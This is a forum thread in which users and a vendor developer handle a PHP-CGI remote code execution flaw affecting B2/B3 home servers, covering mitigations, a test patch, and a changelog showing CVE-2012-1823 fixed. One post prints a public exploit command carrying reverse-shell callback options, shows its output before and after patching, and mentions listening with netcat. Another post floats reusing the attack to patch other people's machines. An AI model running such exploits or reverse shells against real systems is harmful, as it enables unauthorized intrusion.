I have been attacked and don't know why.

[Ubi]

So to wrap this whole thing up would we then agree that the advisory is:
A) If you are running HomeAutomation:
* remove execution of PHP-CGI
B) If you are not running HomeAutomation you should additionally
* remove shell access from www-data
* remove cron capabilities from www-data

[Binkem]

Now find a way to get other B2/B3 users to fix the problem. Would this solution be deployable via a software update? Alternatively we could try reaching all users on the forum by mass messaging?

Johannes?

[Ubi]

I suppose we can just use the same attack vector to perform the changes . We even have the DNS data to see which machines to address.

[andyl]

This fix assumes that the Server has web access. Mine is behind the router firewall and is currently working correctly.

[johannes]

Yes, this is doable via a web update, but the trick is to get people to update since we don't have possibility to force updates, and no way of reaching customers. But we will do what we can.

Would this solution be preferable over updating php?

[Ubi]

No, not really, but updating PHP takes more time because you need verify the update better before shipping. You can roll out a 3-line patch much more quickly.
My proposal is therefore to ship the patch ASAP, and then work on compiling and testing the PHP-upgrade. Then ship the upgraded PHP separately

[johannes]

Just FYI, we are testing an update right now, hope to release soon.

[Gordon]

I suppose we can just use the same attack vector to perform the changes . We even have the DNS data to see which machines to address.

Ah indeed... That would have worked on my machine as well. If you would have used the myownb3 name that is.

[RandomUsername]

Just FYI, we are testing an update right now, hope to release soon.

Thanks Johannes. I appreciate the quick response.

[johannes]

Ok, we are doing the final testing today and tomorrow, if any of you would like to use our test version already now you are very welcome:

Code: Select all

change_distribution hugo
apt-get update
apt-get install bubba-frontend
change_distribution elvin
apt-get update

(hugo is our testing repo, and elvin is the stable). We'll add a version bump package (the version shown in the web UI is collected from the "bubba" dummy package) as well tomorrow before the final release, this is just for testing that it actually prevents intrusions. Early tests looks good, we have tried the actual exploit and it works before and fails after update.

The fix is a wrapper around the php exe, which prevents remote execution. (Turned out difficult to backport a newer PHP, there is non for Squeeze due to some serious compatibility issues).

You can safely update to this test version and then update again tomorrow against the stable version.

[Ubi]

For me this runs quietely, but I did not attempt the exploit.

Does this patch fix the shell for www-data to /bin/false as well?

[RandomUsername]

It installed OK for me but I don't know how to test for the vulnerability.

[Gordon]

It installed OK for me but I don't know how to test for the vulnerability.

One way is to compile the code on the page that was linked by Ubi and execute it from a remote machine

If you're vulnerable it will look like this:

Code: Select all

laudanum gordon # ./apache-magika --target babaorum --port 80 --protocol http --reverse-ip laudanum --reverse-port 5555 --force-interpreter /cgi-bin/php5
-== Apache Magika by Kingcope ==-
/cgi-bin/php5
***SERVER RESPONSE***

HTTP/1.1 200 OK
Date: Wed, 06 Nov 2013 15:56:50 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze4ex1
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

1e
WARNING: Failed to daemonise.

c1
<br />
<b>Warning</b>:  fsockopen() [<a href='function.fsockopen'>function.fsockopen</a>]: unable to connect to laudanum:5555 (Connection refused) in <b>php://input</b> on line <b>30</b><br />

19
Connection refused (111)

0

With the executable flag removed from php5 as suggested by Ubi it will look like this:

Code: Select all

laudanum gordon # ./apache-magika --target babaorum --port 80 --protocol http --reverse-ip laudanum --reverse-port 5555 --force-interpreter /cgi-bin/php5
-== Apache Magika by Kingcope ==-
/cgi-bin/php5
***SERVER RESPONSE***

HTTP/1.1 500 Internal Server Error
Date: Wed, 06 Nov 2013 15:55:49 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 613
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
 webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.16 (Debian) Server at babaorum Port 80</address>
</body></html>

To see what the exploit does, just open a second terminal on your client and start netcat in listen mode. This is actually really scary but extremely interesting at the same time.

[ryz]

(Turned out difficult to backport a newer PHP, there is non for Squeeze due to some serious compatibility issues).

newer PHP? There is an 5.3.3-7+squeeze17 my B3 runs 17 5.3.3-7+squeeze4. This bug should be fixed in 5.3.3-7+squeeze9 if I read the change log correctly.

php5 (5.3.3-7+squeeze9) squeeze-security; urgency=high

* Add more return value checks for CVE-2011-4153 (pulled from OpenSUSE)
* CVE-2012-1172: Fix insufficient validation of upload name leading
to corrupted $_FILES indices
* CVE-2012-1823,CVE-2012-2311: Fix PHP-CGI query string parameter
vulnerability

[johannes]

Oh, we must have missed that. The exploit info stated otherwise: http://www.exploit-db.com/exploits/29290/, I'll check with the devs on how to proceed.